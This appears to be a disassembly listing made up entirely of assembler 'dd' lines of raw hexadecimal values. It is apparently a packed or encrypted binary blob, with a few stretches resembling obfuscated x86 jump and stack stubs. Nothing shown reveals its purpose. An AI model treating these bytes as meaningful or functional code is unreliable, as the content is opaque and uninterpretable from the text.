		dd 0C2264E34h, 0FCE56DE9h, 7E9C6EA3h, 0D79BC355h, 87BB2981h
		dd 223C31C7h, 94770F07h, 163EA19Eh, 0A0515A7Eh,	0F234D06Ah
		dd 0A253F90h, 4A61860Eh, 6D60E8B0h, 0DFC74D71h,	0C0E9D6Fh
		dd 42D24678h, 0F2A2009Fh, 3C1B900Fh, 0F170FF21h, 9D8B3C6h
		dd 43970000h, 0EF0E766Ch, 5AB2E2C0h, 0EB036F51h, 4BB6DEC4h
		dd 0CC426E54h, 94EEB150h, 3EA407E0h, 8CF6B556h,	35AB00D8h
		dd 0FD67DFA7h, 0CB428C5Dh, 17FBB7DEh, 94E8056Fh, 27B1F344h
		dd 279906EBh, 0B40E9D3Bh, 7593FB01h, 0B1CBA436h, 0C9FFAC40h
		dd 0BDC6BD4Dh, 82C43EA1h, 3CC53B51h, 34D3BD78h,	0AE4A3A77h
		dd 0A111D4FDh, 230B7698h, 2417A616h, 0D5C148CAh, 7830C335h
		dd 7187B9BDh, 0BF1Fh, 6177F400h, 9B46CE4Ah, 0E7DDF604h
		dd 23885F0Ah, 0C5902CE5h, 0C74494E5h, 0BE283A97h, 20BA80F2h
		dd 299714F4h, 0C70C9F39h, 583D0E18h, 0B0B56C77h, 0B5A19553h
		dd 6BCDA315h, 2B9D2DBBh, 21BB6BCDh, 97A1E3DFh, 0FB04077Fh
		dd 0B0F2C15Eh, 0C863FDD2h, 5124B850h, 0E868C74Ch, 2829813h
		dd 583C58C0h, 429944B0h, 3A844B7h, 57BB3D7Fh, 0C7BB257Ah
		dd 15F4752Ah, 0E270FE09h, 8DCC0B9h, 77930000h, 0C31A4A38h
		dd 6E8EF6ECh, 0DF2F633Dh, 5F82F2D0h, 0F86E6240h, 0C0227D64h
		dd 0A7833D4h, 0B82A815Ah, 217F2CCCh, 0D143C3CBh, 0A7428C5Eh
		dd 5A7793BAh, 73AB5B45h, 82599EBh, 0CC48D27Bh, 0B2217F2Ch
		dd 894A6177h, 0F4CEDDFBh, 3A658C04h, 0B6B74179h, 0F59581ACh
		dd 3EA1F78Ah, 0F852E70h, 1E46B2F9h, 0E70A59ACh,	0C76F0CB8h
		dd 0B561BF59h, 3F10956Dh, 0F6D4FDA2h, 0E68066CEh, 8328C054h
		dd 989C3E4Eh, 5DFD2BFCh, 0F9C3C94h, 5B50A727h, 0D92F63BDh
		dd 34AB21D2h, 1B22FCD8h, 0F2166E7Bh, 3D9BC7B9h,	0DA47456Eh
		dd 0E483AEA0h, 0F3156D76h, 3E9ACAB8h, 2018A3BBh, 63EAFDD8h
		dd 0FC9CFD67h, 4F99CB22h, 38F38DA2h, 0EFBC50C0h, 529D2DE9h
		dd 0C858C9A9h, 89932C96h, 0BE1ABA9Eh, 0F406C4EDh, 9069A424h
		dd 8DCF5EF4h, 7F5CF464h, 513E72Ch, 0D6B81E85h, 1821091Eh
		dd 64BC19A8h, 5033DEBh,	86160000h, 0BA750F78h, 263E5A3Eh
		dd 0EE775B7Fh, 0C83C30F8h, 0C04494C5h, 49107C7Eh, 4B3EA1D7h
		dd 2FCBA113h, 3FCF2369h, 973A3A70h, 5092F208h, 3429F870h
		dd 0C852F13Bh, 2E51F95Dh, 0C23BC49h, 0B1623DA4h, 77A78F59h
		dd 0BDF3F59h, 9CB54353h, 0B420A8ACh, 84539E40h,	0ADB7B842h
		dd 2BF69682h, 0D129AB7Bh, 0D127A78Fh, 5C7CE8DAh, 5595A4Fh
		dd 5D468E1Fh, 7655Ch, 0BFF00A00h, 535CB1E1h, 0C4E7056Dh
		dd 5758B6DEh, 0C7D8F969h, 0DB71E5D9h, 4B37A9F6h, 0F1A1FFACh
		dd 432F911Ah, 429C06A5h, 5F5ACE3Eh, 3532428Ch, 4A617708h
		dd 0CAE1FB89h, 11DA1D8h, 0D2700000h, 2777DF4Ah,	0C4039F95h
		dd 18C852A6h, 174587F7h, 1A2BDA4Ah, 0B06FB126h,	24000000h
		dd 77DF4AD2h, 951AF35Bh, 0E8900783h, 92024494h,	9F09817Ch
		dd 6D4494E8h, 176B6D3Bh, 40982CE5h, 0EB0D756Bh,	0E80A7E0Eh
		dd 0C0024494h, 62860E0Ah, 0B6A2AF49h, 0E8F2B91Eh, 46B27D07h
		dd 801FC252h, 72720064h, 52E8880Ch, 0A18787BAh,	0D50D093Eh
		dd 9AB432A0h, 7AEEDE21h, 62BD7925h, 29A1218Ah, 0C0EDCCFh
		dd 0F78D4678h, 0FF09CAE1h, 79251D87h, 0B9B9EBBDh, 36478C1Fh
		dd 6FC3CB98h, 1918413Bh, 0A351307Ah, 44A3C62Bh,	9A50AA67h
		dd 0C597A159h, 647D8CFCh, 142148CBh, 0F2000000h, 0FB6Ch
		dd 0F5088800h, 5ACE3EBAh, 324494E8h, 0D2EBEAF0h, 2979DD48h
		dd 6B07FD95h, 0D1C553BDh, 0A1EE7239h, 7DEE303Eh, 77149A78h
		dd 3B47426Dh, 34000006h, 7BE7D9D6h, 0FF734D62h,	0B0E4BEEDh
		dd 36F515Eh, 0EFDFC1DEh, 0ABF4DD7Fh, 1AA4D35h, 9318F39Fh
		dd 8A3452Dh, 0CC3C449Ah, 428C5058h, 0FB0A3330h,	0A6347B93h
		dd 0CE72BDC9h, 2A9E2E2Ah, 224494E8h, 985952AAh,	1192A862h
		dd 515A7E8Eh, 0F1D434A0h, 0A291AF7Bh, 19DA10A2h, 0D5F7C48Ah
		dd 28C717FFh, 1CE03081h, 7D48A90h, 26D46897h, 2F2EB1h
		dd 0D2E70000h, 5EBFDF4Ah, 646DEF5Fh, 26F0C5F4h,	1B89B1h
		dd 0D23A0000h, 5EBFDF4Ah, 7B481638h, 94E0AA1Bh,	2ADAE244h
		dd 6E4ED914h, 0FFFFFE73h, 7493FB27h, 125A7A37h,	892C6CF2h
		dd 0E30C0EDCh, 0C4B0D05Bh, 6110A19Ch, 7C7E86D4h, 0BF9D3F27h
		dd 0BB342B2h, 96D7B126h, 0AC000002h, 0F3935A77h, 4494E881h
		dd 0B04D4577h, 7C08C9FFh, 0B9E94D62h, 0D90481B8h, 98B93FB0h
		dd 33E0CB2Ch, 0B25F40A1h, 666E7B1Bh, 0EE460A30h, 0C9FCAE1Dh
		dd 48C6069h, 0DF33C5EAh, 158A6702h, 5C85EDD3h, 0C7618E43h
		dd 60E8EC6Ch, 4494BCF4h, 0A07882C4h, 0A1A12D28h, 576FAF3Eh
		dd 0CE46B159h, 34760E2Ch, 616AF47Fh, 0C9B7E809h, 0AA673899h
		dd 79B1AA12h, 0D6E3A3BDh, 564C537Eh, 0A22AC32Eh, 0BD79BF36h
		dd 0BF86F29Ah, 3476BD79h, 3CBCEE30h, 0BF44B058h, 0F234BD79h
		dd 2A34EBE8h, 8BFB17FFh, 0BD79BF19h, 0C149ADEFh, 0BD79BF57h
		dd 4155E325h, 8E21BD55h, 0D97FBF65h, 0EC0D9629h, 0E1701C1Eh
		dd 0B3C74C8Ah, 0C5EEBD1Bh, 4D8FF305h, 65C05A73h, 879659F1h
		dd 4284CD7Bh, 0A589FB91h, 798FA953h, 0FA138132h, 0AAA8FCB5h
		dd 4E0C7FA1h, 33FE8885h, 43C3CFC3h, 0A953A5D1h,	276375A7h
		dd 0D36690C4h, 8808F032h, 44763B70h, 0E0F86CB6h, 160206CBh
		dd 20D70276h, 0CE2FAA3h, 0DA15627Fh, 236F893Fh,	505BB0C5h
		dd 0B5A167A3h, 23BBBA1Dh, 66BC3E8Ch, 1AB2CF59h,	0A320E8AEh
		dd 0D3D869Eh, 6AB1CF9h,	7A1206C4h, 0D915EE2Fh, 5666ABDDh
		dd 0A535EAEEh, 62850DFBh, 0E0FC8849h, 61FBFDCBh, 0EED9E858h
		dd 0F035087h, 35E20D77h, 8DF78FA5h, 7BA535E2h, 0F1073949h
		dd 3D9Fh, 48D27400h, 0EAD179DDh, 0D83EA1BDh, 6272B2A6h
		dd 7FCEACB6h, 253320BAh, 0DB5D4EADh, 78A9C92Fh,	6D76D4BDh
		dd 16E3F999h, 78A90276h, 2C8FABDh, 9BDFF9D1h, 48CAB16Ch
		dd 0B532h, 6177E300h, 0D6FB894Ah, 27C54DC9h, 675D7684h
		dd 0EBD91A91h, 0D4449E0Dh, 0E8DC48C0h, 44AC4494h, 0D1C107A4h
		dd 226A703Bh, 4494E557h, 555EE939h, 0F53FB7BEh,	83CAE1CDh
		dd 0CA508BC6h, 0A3FDAE4Ah, 0CB43304Ah, 78527F2Ch, 6BC680F4h
		dd 844678BBh
		dd 6996F494h, 5092C15Fh, 8A64ECE8h, 0C0EEC25h, 4C366988h
		dd 0E5E6B918h, 77111FDAh, 4BC5C4EFh, 24000003h,	8BF7E9C6h
		dd 2F633D72h, 80F4CEDDh, 335F416Eh, 0BFEFD1CEh,	7B24CD4Fh
		dd 317A5D05h, 0E3C8234Fh, 387395FDh, 0FC8C744Ah, 428C5388h
		dd 773A8380h, 0C5D1455Ah, 94E8D345h, 6177A944h,	0F6B5533Fh
		dd 6177198Ch, 5F7F894Ah, 0E54DDE1Bh, 68BD6542h,	4E7A5C04h
		dd 50A8ECEEh, 4FF7DB5Bh, 4494ECE5h, 2B805BD3h, 44D614E6h
		dd 439A3ADEh, 0C553A76Ch, 4A61778Eh, 0D642CACEh, 0A64494E8h
		dd 119E7064h, 0C3102AE0h, 0E7437D1h, 8C8CA7C1h,	34C6E904h
		dd 0F651E464h, 0F5273EA1h, 258C0BCh, 0E545BD78h, 65D6CDCh
		dd 420148CAh, 0D2000000h, 79DD48D2h, 0A1BDEAD1h, 6DA6D83Eh
		dd 0B86DC3DBh, 5E69143h, 3F2197F3h, 0D83CBD78h,	36D5A038h
		dd 4C7E3C75h, 0B32330AEh, 48CA2704h, 1AE40D0h, 8EFEFAD0h
		dd 0BD78331Ah, 0E82AB0F2h, 0FCh, 4A61779Dh, 0C9D6FB89h
		dd 4F5C7C08h, 0C01EB6A2h, 0F208C2EFh, 0F16546A2h, 0B405D8B1h
		dd 49CF61A9h, 94D0A3D7h, 0D2364494h, 84359F27h,	0C1034494h
		dd 8443B555h, 7394494h,	55B3DFC1h, 0DDD22CA4h, 94847BEDh
		dd 0D90F5144h, 0FED9795Dh, 844BBDADh, 0B6514494h, 9D3B6DF5h
		dd 46E17BB4h, 0B5FF3AD2h, 45AD3EA1h, 51C5039Ch,	0D353C545h
		dd 6C89BD79h, 92827054h, 0C0B4F66Eh, 7753802Bh,	94AE3F61h
		dd 5B2D9D99h, 0B1C74DCDh, 0EA07876Fh, 0B31BCBB5h, 0ECC31B4Eh
		dd 315F51Eh, 3C2D728Fh,	70FF7D15h, 0B7605942h, 0B8000001h
		dd 3F338D22h, 0F39F01AEh, 44309219h, 0E79B05AAh, 732B950Ah
		dd 0B7E80983h, 6D3E99C9h, 1F8C5F13h, 7437D1C1h,	30D8C00Eh
		dd 428C55C4h, 0FB8EB7B4h, 0E8056F17h, 0B1F34494h, 0E853C545h
		dd 0F7294494h, 4F50B1E1h, 0F9918571h, 4494E88Fh, 65AD4B7Dh
		dd 0BBA2883h, 79DD48D2h, 0A1BDEAD1h, 9B70D83Eh,	1DF1E310h
		dd 61925892h, 783CF56Bh, 8C04F0BDh, 943D72h, 0B713C0EBh
		dd 6C75E7F1h, 0CA24CDFCh, 0B19148h, 91850000h, 78308FF9h
		dd 0AD4B7DBDh, 4A6177A6h, 0C9D6FB89h, 74140008h, 4494E800h
		dd 0D834C6F8h, 4494E58Dh, 643E6D8Bh, 1ED3D830h,	68379A3Ah
		dd 0A8839DD2h, 259D18B0h, 598BC15Eh, 138C75DDh,	940E2CDEh
		dd 9F0CEC64h, 1DD6D533h, 8125BDDh, 0A691391Dh, 94C74C8Ch
		dd 836EE652h, 13BEA61Ch, 0BCFCFF8Ch, 0FE2970FEh, 0C58Bh
		dd 5F50AA00h, 0B3FC1181h, 6447A5CDh, 0B7F8167Eh, 673899C9h
		dd 3BD14579h, 0EB970996h, 51419F0Ch, 0E38FF1BAh, 0A23CA605h
		dd 56FA6EDEh, 0D5D2428Ch, 455A77A8h, 28D1275Bh,	94E834A0h
		dd 0D2C20444h, 8A40713Ah, 77736240h, 0FB894A61h, 0DBF4CEDDh
		dd 0DA72E641h, 3EAD5B00h, 7F15BE00h, 0B8604269h, 50EAC518h
		dd 4A8724C4h, 4C56ED32h, 854EECD2h, 2E0CB2Dh, 7C357692h
		dd 0C4E7048Ch, 0F51DBB0Fh, 675D9619h, 3BD91A91h, 4A0DFFB3h
		dd 0F8148035h, 0DB83FEB3h, 26923A0Eh, 168458F8h, 0D17D16D4h
		dd 5358B008h, 19866BE3h, 8A1822D8h, 4ADFEDAh, 1185h, 93FB4C00h
		dd 12DB4F7Ah, 0B68B546Dh, 0ED0BBFF4h, 6377476Eh, 0DBFD874Ch
		dd 5AB123D0h, 0D334A051h, 48A91BD8h, 0C72A9A57h, 55A91BD8h
		dd 0D12B995Ah, 52AB19DAh, 5252B45Dh, 0C281E289h, 4, 8704EA83h
		dd 248B2414h, 4E4D6824h, 34890000h, 0E2895224h,	4C281h
		dd 0EA830000h, 24148704h, 243C895Ch, 1D88BA52h,	0EA816C5Ah
		dd 664169B3h, 685AD689h, 0C6Fh,	83242489h, 5F042404h, 4EC81h
		dd 34890000h, 242C8124h, 21124B7Eh, 8108478Fh, 4B7E0847h
		dd 3C8B2112h, 0E3895324h, 4C381h, 0C3830000h, 241C8704h
		dd 24348B5Ch, 81E18951h, 4C1h, 4C18100h, 87000000h, 0E95C240Ch
		dd 0FFFB87DCh, 1DB8C75Ah, 30618BFh, 90E0FFC5h, 436E5A01h
		dd 505EA8AAh, 0EC31EC72h, 0DF1324C5h, 681C0EA2h, 0D366C31Eh
		dd 0A31D28A2h, 8E2A8571h, 0AC614CCCh, 9A4ADA8Fh, 0AB555427h
		dd 0A5EB86Ch, 0E949B050h, 0Eh, 2F56FE50h, 7C809E01h, 0
		dd 11E90000h, 6800000Eh, 618C195h, 0FAC153E9h, 0C2F868FFh
		dd 49E90618h, 68FFFAC1h, 618C44Ch, 0FAC13FE9h, 0C58F68FFh
		dd 35E90618h, 68FFFAC1h, 618C710h, 0FAC12BE9h, 0C9EC68FFh
		dd 21E90618h, 68FFFAC1h, 618CB0Bh, 0FAC117E9h, 0CC5E68FFh
		dd 0DE90618h, 12FFFAC1h, 0E3492C4h, 0E3492BCh, 103290BAh
		dd 0F3191BFh, 13492C2h,	0E470BD2Eh, 0FE54E4C6h,	0E365FAE0h
		dd 4CDDC3h, 47B699A2h, 16B674CBh, 0BDE17D94h, 6D51E06Ch
		dd 565270DCh, 7B5C7B0Bh, 0B4AD295Ch, 77E6109Dh,	109DB51Bh
		dd 7392A1E4h, 0A2DF1A69h, 5F68168Eh, 9DE76Bh, 0A52308E8h
		dd 458389E5h, 0D7F44524h, 58E961F3h, 0F250AF39h, 490A8A8Dh
		dd 0BA98280Ah, 3963D832h, 5AAD3F7Bh, 48E3h, 0BEA37700h
		dd 75C7EBC8h, 0EE4284D5h, 0ED8C0D5Ch, 8687F6E3h, 57168E98h
		dd 1B3AE970h, 3FAE045Ah, 0A8A90E3h, 690869ACh, 0A9DCFBD8h
		dd 0A8A912Dh, 0ED7ACE61h, 61E120A8h, 0B80A8A91h, 0C18FBD4Eh
		dd 695AAD36h, 0D8h, 0E06CBDCDh,	77FADCC3h, 7E975C22h, 86D3F776h
		dd 0C796BE0Bh, 34162746h, 260CABA1h, 0B332BA94h, 0B10E3E8Fh
		dd 0C4634086h, 57EA542Dh, 0A23294F5h, 0BB2A28B0h, 109DEE2Ah
		dd 0F9D973C6h, 77C686D7h, 79563039h, 8EF30104h,	1BBBDA16h
		dd 0E3C0C61Bh, 75498F72h, 86256810h, 0B3857EA9h, 7B764B7Bh
		dd 82D25F71h, 0E2AFFE24h, 0EB9EFF51h, 79FAFD2Fh, 0D484C168h
		dd 5200000Bh, 4E745204h, 4E7452FCh, 507250FAh, 4F7151FFh
		dd 41745202h, 24307DEEh, 3E14A486h, 2325BAA0h, 400C9D83h
		dd 7765962h, 16B6758Bh,	0C2213D54h, 9E0776DDh, 909B6065h
		dd 0D55D42A9h, 0B81243C6h, 81109DBEh, 86567D1Ch, 11308A48h
		dd 0A9381AA2h, 32230CABh, 59F8CE41h, 0E6CC0AD2h, 7FD9F953h
		dd 0DB0ABEA3h, 109DB57Fh, 0A0B20248h, 70117091h, 98232253h
		dd 0CBF4168Eh, 0D1C03454h, 0D96809E8h, 8A6D2AA8h, 7405810Ah
		dd 1571E4C3h, 0DE0A8A6Dh, 0EFAD35BFh, 575AAD52h, 109h
		dd 5FF14268h, 9B458F0Eh, 51E06CBDh, 94B6E06Dh, 0DB3A0B41h
		dd 9DB530AAh, 7CD26410h, 0C09FACEDh, 9DB4D14Dh,	1A7B9A10h
		dd 547B5C7Bh, 0E675F09Bh, 1975E428h, 0E2109DDDh, 8DCA19A3h
		dd 87D17A5h, 109DDC8Eh,	6573657h, 1FCE3D87h, 0BB109DD9h
		dd 95F1642Ah, 5E109DD7h, 5F805E3Fh, 0E14E1F78h,	40885C52h
		dd 11CBBB0Eh, 77F5FB4Fh, 96B584E5h, 4EA1BEB1h, 4993BB37h
		dd 3592F4EDh, 8F60BDC0h, 58779616h, 4D8C0677h, 90C50A8Bh
		dd 0A8B4E36h, 4CD19EFFh, 0F5A5684h, 11255877h, 0A1075ACh
		dd 0A73E98CDh, 86070475h, 53E2C8E7h, 9B84A101h,	7001B817h
		dd 7C5E66E8h, 52F267EDh, 7779FA4Eh, 0A7195B0h, 29B50000h
		dd 1BAB8D2Dh, 1BAD9333h, 1AA98F2Fh, 23B29836h, 8DA29131h
		dd 2383D160h, 3A3AFFDh,	20BE8A1Dh, 5A5A73Ah, 68E2133Ch
		dd 3116B677h, 70BD46F8h, 0C6E9C6E4h, 9DB53B97h,	37810410h
		dd 2A88C415h, 0E06CBD90h, 70DC6D51h, 7B0B5652h,	0A3E4295Ch
		dd 1A3D168Eh, 8A9D6FEBh, 0B4D5380Ah, 0C681A6A5h, 8D9D561Eh
		dd 754E9B63h, 85E46EE6h, 0A74DCC3Bh, 6AA40A8Ah,	14EDABD1h
		dd 0CB555AADh, 66000006h, 4696EF44h, 0BDDC3D0Ch, 0BEA3A933h
		dd 0C998B405h, 0AD8A2948h, 0D11B3785h, 8EA1D732h, 0EC7DA016h
		dd 8AA03D9Dh, 81FA940Ah, 0AD0D9D5Bh, 698455Ah, 0A3190000h
		dd 7AEBC8BEh, 168EA363h, 440E9EA4h, 9E9CF667h, 20650A8Ah
		dd 181F041h, 580A8A9Fh,	0A16F9D2Eh, 95AAD0Ch, 66Eh, 0D5DFB92Dh
		dd 0ECF460EDh, 0CEED99D0h, 0A1345DECh, 1A7BCAABh, 1626FEB5h
		dd 0E7F184E5h, 71FA7BEAh, 8A0B168Fh, 584DE469h,	4A9F9676h
		dd 2DBB9F3Ch, 0EBF51425h, 368A7FEEh, 2838467h, 202C7DA5h
		dd 79E8F011h, 4360263Bh, 62EC3E64h, 0DB2AB2D3h,	7E540E26h
		dd 262EBB9Fh, 3897F617h, 0AEA63317h, 64767E9Fh,	755B7BD1h
		dd 55F568E4h, 66E7D55Bh, 91D8AC7h, 0BD090000h, 0C7173999h
		dd 0AF012787h, 0C6153B9Bh, 0B7062C8Ah, 210E3D9Dh, 0F7D77DCCh
		dd 0EFCF83D1h, 0F4D276C9h, 0F1D17BCEh, 1C76E7E8h, 0E516B679h
		dd 6CBD92ACh, 4D7251E0h, 4E8AD20h, 0B602CA31h, 89FCDBABh
		dd 16857BFFh, 0D201A1E4h, 0A8565A4h, 2537543h, 332C6C4Ah
		dd 76173D8Ch, 6EE27159h, 0E56DFBDFh, 8C543554h,	64CC1E4Fh
		dd 3D850A85h, 320362EEh, 0B4A02D15h, 3E12A1A5h,	458FEE2Fh
		dd 0F2C4C213h, 838C2AF8h, 0D362EA7Bh, 14B2D3B2h, 84FE71E1h
		dd 0D5AD920Ah, 0ECC53BDCh, 3689CB15h, 3B8EB412h, 51B14011h
		dd 8EE94A39h, 0FFE08704h, 85B9148Eh, 30B8DD0Ah,	0E1C18B1Eh
		dd 8FDE6EBFh, 85A8A0FEh, 0C78DDC0Ah, 4B015476h,	0D13D5FAh
		dd 248CBE09h, 8B7A0F83h, 943EBB35h, 86AC0B41h, 0B42E5F37h
		dd 7D0A8574h, 0A9E87918h, 2816311Fh, 0BC000001h, 96A5DDC2h
		dd 0C28A106Bh, 0C785D8FAh, 8BFF5476h, 9C1F64A4h, 8AFB50CBh
		dd 109E8510h, 84D5B4D9h, 9E8499F5h, 80F5D210h, 109E8506h
		dd 45694ECFh, 145CC396h, 0D164767Eh, 93CEEA7Bh,	17A1D4F3h
		dd 0FC1685D4h, 1F10E499h, 9E4D800Bh, 7DAC3h, 58FE4C00h
		dd 4806587Ah, 56F4486Ah, 4F015278h, 58FC496Fh, 87E44B7Ah
		dd 96BC1A3Ah, 8CAE0C46h, 8FB11137h, 0A3B00E3Eh,	79CD49BCh
		dd 839616B6h, 1D6CBDDFh, 1273C28Eh, 0DA6E5473h,	0FEA0E170h
		dd 7495A4AEh, 8CD9FD6Ch, 73C8EAC8h, 82D3F5D5h, 77C6ECCAh
		dd 0FB4A8CDDh, 0B4F06A9Bh, 54B9109Dh, 0E170E272h, 8A70C1A0h
		dd 79D5654Dh, 0E51FA9E8h, 450F9E54h, 0EA0FCD65h, 7B7A341h
		dd 8B000000h, 8CC4h, 6CBD6A00h,	0A22051E0h, 0EC109DA4h
		dd 7C5E0982h, 7A5C64EAh, 644665E7h, 66747CD2h, 859EF44h
		dd 0CC1EE4CBh, 0D6630CF6h, 0AF1E7F0Eh, 3A54109Dh, 0A53416C1h
		dd 0B9B99EAFh, 80A45727h, 0DA6B4F2Eh, 1AA2E372h, 5A5A338h
		dd 7CD60728h, 45109CC5h, 0BD5EF8C0h, 508FDE6Ah,	0B4A4FE6Fh
		dd 286D109Dh, 2F19AEA0h, 61DA781Eh, 8D2A1EB1h, 0B4DF3BAAh
		dd 65A8109Dh, 2B0E7D5Bh, 0F2109DBCh, 0BE11995Ah, 0FEA6415Ch
		dd 0C415FFFFh, 3A6h, 0E06CBD6Ah, 1571E4C3h, 0DE109DB5h
		dd 0B5128C01h, 0BADB109Dh, 235211DBh, 109DB4B3h, 8517409Dh
		dd 4B1C8780h, 0F794FEC6h, 7452FA4Bh, 7251FB4Eh,	0C087584Dh
		dd 559FE727h, 0AEF76796h, 0C213109Eh, 89D878C7h, 6D4A6908h
		dd 9EAE9EF8h, 9E266710h, 8EF8F14Fh, 654BC31h, 86A91686h
		dd 85EEFB57h, 7741C40Ah, 0ECB6ABEAh, 15800B50h,	6597B56h
		dd 81CD0000h, 83D3F5D5h, 73C5EBCBh, 82D1F7D7h, 7BCAF0CEh
		dd 65CAF9D9h, 3B9BB908h, 2B8BC715h, 3896B205h, 2D8DBF12h
		dd 50CA3B24h, 1916B67Ch, 0E5C25E00h, 9DB51670h,	36BEDF10h
		dd 0AABB9124h, 9C3B19A8h, 162721B6h, 0C9EFEDF7h, 0D3F7D478h
		dd 5DECCE86h, 0C9EFEDF7h, 4589D87Ch, 50D5CF8h, 0F544EE8Bh
		dd 15E37F5Fh, 0F7A341E6h, 0D10684D3h, 3E2A3761h, 940BD5B4h
		dd 2BAh, 83DDC2AAh, 0B66D8988h,	57F487ABh, 162C970h, 1E647BB7h
		dd 54EBE4Fh, 3DC9EE74h,	5DD0A0CCh, 95B2A250h, 0AF67E660h
		dd 3DB0AF11h, 11AF67E1h, 0C20A6BAAh, 2815Bh, 7567C00h
		dd 78193B8Ah, 0BCA3E670h, 42BEE9C6h, 3BCBD6F6h,	2B4A0054h
		dd 0AF93B4A1h, 0E0213020h, 0DA2DA9D8h, 4166109Dh, 0B181DA93h
		dd 4E9B252Ah, 7D0F7ECFh, 0F8EE73ECh, 1CFFD8Eh
		dd 0A9A25045h, 23Eh, 0C6BCA38Dh, 0B51E74E9h, 0BEDF109Dh
		dd 4AEE5EAFh, 0FB4EEE73h, 6CBE0051h, 0DD6BC0E2h, 0A516588Ch
		dd 6CDD29B0h, 94997BBh,	0E75917BFh, 0B01A250h, 55000002h
		dd 57F7DDC2h, 9343471Dh, 0CDF2ED49h, 14B3D27Eh,	9DFF6DE1h
		dd 0C8E72610h, 0B80052E2h, 9568D829h, 0A7E3EE73h, 0AA2AEA12h
		dd 0E3CCA250h, 9A797A9Fh, 2178407Ch, 1D2h, 4CE0C235h, 97A6AE3Bh
		dd 4461776h, 0F1FB9AB0h, 0E1FE4EDFh, 92236AF9h,	0B6AABBAh
		dd 8D2022C1h, 543720BFh, 8D9B8FBh, 9D99B701h, 3A654244h
		dd 523661CAh, 67747CC8h, 7DCF6248h, 66D91473h, 0F0D2168Fh
		dd 3A802A5Eh, 8957598Ch, 0B03859E8h, 65E11433h,	990A8B2Fh
		dd 0D538074Bh, 0F654A5B4h, 4D0A8B2Eh, 62BC310Eh, 2B0A8B2Fh
		dd 0D9B89827h, 61B1A3F2h, 0BF09B9D5h, 0C888B445h, 705AAC01h
		dd 52h,	5BEA3C6h, 57DAD1B3h, 0B1D51D2Ah, 2D12B1D0h, 800D2507h
		dd 59864E67h, 8F8D2524h, 0B3416616h, 7AA3613Fh,	60ED9037h
		dd 36089C1Fh, 0EF1E41AEh, 0A8AC973h, 0A9B8D93Ch, 8AC8FA58h
		dd 44B5510Ah, 0ACFE5818h, 0EA005Ah, 0EFD30000h,	2061F060h
		dd 6CBD3E98h, 0B557B322h, 0FD20109Dh, 3C89CD9Ch, 250A4918h
		dd 0D17A1BA2h, 0D99E0527h, 27322F4Bh, 9F3224ACh, 98BF9CADh
		dd 0A19EBE7Eh, 66E87A03h, 0DD7B6D7h, 0BE0F7ACBh, 0DD1C3BC8h
		dd 0A8C921FDh, 92C5EAC9h, 5FC08A98h, 598CCA12h,	109E2DC8h
		dd 97EE4169h, 5C640545h, 36A7E77Ah, 109E2CDCh, 124360A5h
		dd 109E2CB8h, 5D7D1C81h, 617E0861h, 888A982Ch, 8A1D0516h
		dd 666EAFBEh, 3278409h,	1F409EB6h, 0B7DEAC3Bh, 0ACBB4D06h
		dd 5C7E4627h, 0FA54890Dh, 0C30A87E4h, 7E2E2342h, 93800D46h
		dd 37DF9D4h, 1DA90000h,	27B79939h, 0FA18727h, 26B59B3Bh
		dd 17A68C2Ah, 81AE9D3Dh, 5777DD6Ch, 4F6FE371h, 5472D669h
		dd 5171DB6Eh, 0BC164788h, 8516B67Dh, 70BD320Ch,	51E4C6E4h
		dd 0D8FADBFBh, 55FFC987h, 51E06CBDh, 5270DC6Dh,	9DB4A223h
		dd 0E99DC410h, 0AC129BCAh, 0D233168Eh, 6CBD56F4h, 0DC6D51E0h
		dd 0B565270h, 0E2765C7Bh, 30B8D968h, 0A377B223h, 9D00168Eh
		dd 9EDD3DCCh, 0DA340A8Ah, 0C7D3B61h, 2FE55AADh,	79000000h
		dd 0EBC8BEA3h, 8E989B7Ah, 18296C16h, 8A8969E9h,	0AF93C00Ah
		dd 69A32D1Dh, 3EECACD0h, 0D4545AADh, 67000000h,	0D5CF443h
		dd 0B4962A8Ch, 6CBDB22Ch, 4D7251E0h, 88371DD1h,	488A52EFh
		dd 0C80A5BF9h, 4486D775h, 87B5BF1h, 109E2159h, 0CBE864F5h
		dd 0F13D17E4h, 0D51FF1ABh, 3184A687h, 1CB4A1Bh,	7FCE7ECFh
		dd 815E2841h, 8EB4A10Ch, 0ECCB4A16h, 0B2409ACBh, 84090A8Ah
		dd 0C7221E3Ch, 51ED20BFh, 5A10751Bh, 27B69C3Bh,	1EAB8D2Dh
		dd 6A534336h, 0D59479FAh, 25EF8h, 0DC7AC800h, 0C48ADCFEh
		dd 0DA70C4E6h, 0CB85D6FCh, 0DC78C5EBh, 0B60CFFEh, 123896BEh
		dd 103290C2h, 0B2D8DBBh, 273492BAh, 8059B528h, 0EF2216B6h
		dd 1E70BD53h, 942728F0h, 3F64A5B4h, 7655DF7Dh, 9DF18B07h
		dd 50315410h, 4FFD5072h, 0FF7E4770h, 4B1A3685h,	0BE25E5CAh
		dd 60014BDEh, 0A3E07A58h, 7AEBC8BEh, 168E989Bh,	2966F6DCh
		dd 67A6B79Bh, 2931BE06h, 62A3B296h, 0F5EEC40h, 2F5EEF8Eh
		dd 0A8A88AFh, 9D2D58EBh, 61A0B1h, 0C8BA0D31h, 0AEF5BD13h
		dd 0FC4D2C55h, 5342B7DBh, 0D7654D8Ah, 442523B8h, 26CDF25Fh
		dd 6B755069h, 0DBFFA821h, 4E70C189h, 850455FFh,	0B484DCE4h
		dd 1C5AAD26h, 0DAh, 0EFD698BFh,	92A3A739h, 0D4A74C73h
		dd 808A0479h, 32530A8Ah, 57B66C53h, 1BEDBF5Eh, 6CBD07D1h
		dd 0E06D51E0h, 0C4E6E574h, 0A8BDA70h, 0B09243C2h, 9B2E109Dh
		dd 9E2F11B1h, 48A19FAEh, 0A1BEA13Eh, 9DAFF26Ch,	925ABB10h
		dd 8E80A6F3h, 0BA0B4F16h, 2342C392h, 655E8383h,	0EAE0B2D4h
		dd 3CFD8E3Ch, 0EC8D0C5Dh, 0F1C39ECFh, 98C1074h,	5D3988AAh
		dd 74EDAE28h, 77167704h, 0ADE47157h, 1E20311Dh,	0C1A0C18Bh
		dd 0FA4FB08Ch, 134EDD79h, 10Bh,	2787CF1Bh, 3D9DB101h, 2181C91Bh
		dd 2A0B0FFh, 0E3C39120h, 0BF0E7FB0h, 0C5133595h, 0B80B2D8Dh
		dd 0BD103290h, 3D222F8Fh, 0B6814EC8h, 60021716h, 0C6E470BDh
		dd 0DCFB51E4h, 0B5108AFBh, 0BC41109Dh, 85644CB4h, 18A0E572h
